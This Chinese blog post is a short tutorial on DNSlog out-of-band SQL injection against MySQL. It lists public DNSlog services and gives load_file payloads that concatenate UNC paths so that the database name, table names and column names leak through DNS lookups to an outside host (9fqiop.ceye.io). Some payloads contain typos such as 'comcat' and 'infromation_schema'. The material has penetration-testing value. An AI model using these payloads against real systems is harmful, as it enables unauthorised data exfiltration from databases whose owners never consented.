【SQL注入】DNSlog方式

DNSlog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析il的记录,可以在dns服务器上查询相应的dns解析记录,来获取大致原理。

 DNSlog服务器无需自己搭建

http://ceye.io/       知道创宇公司提供的

http://www.dnslog.cn/

http://admin.dnslog.link  

 条件:

  1. 需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的话,不能调用这个函数,只有在mysql配置中开启了secure_file_priv配置,就可以通过sql语句来执行文件读写操作。
  2. 目标mysql数据库能够访问外网
select load_file('\\\\xxx.xxxx.xxx\\xx'); #xxx.xxxx.xxx\\xx是某个网址

此处的路径我们称之为UNC路径

那么我们就可以通过只有的方式然后拼接数据库函数,通过DNSlog获得数据库的信息

select load_file(concat('\\\\',(select database()),'xxxx.xxx.xx\\xxx'))#获取数据库库名字

示例:

上图是创宇公司提供的的DNSlog服务器网址

select load_file(comcat('\\\\',(select database()),'9fqiop.ceye.io\\abc'))#获取数据库名字

获取表名

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'9fqiop.ceye.io\\abc')))

修改limit的数字即可得到其他表名

查询字段名

and (select load_file(concat('\\\\',(select column_name from infromation_schema.columns where table_schema=database() and table_name='member' limit 0,1), '9fqiop.ceye.io\\abc')))

  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值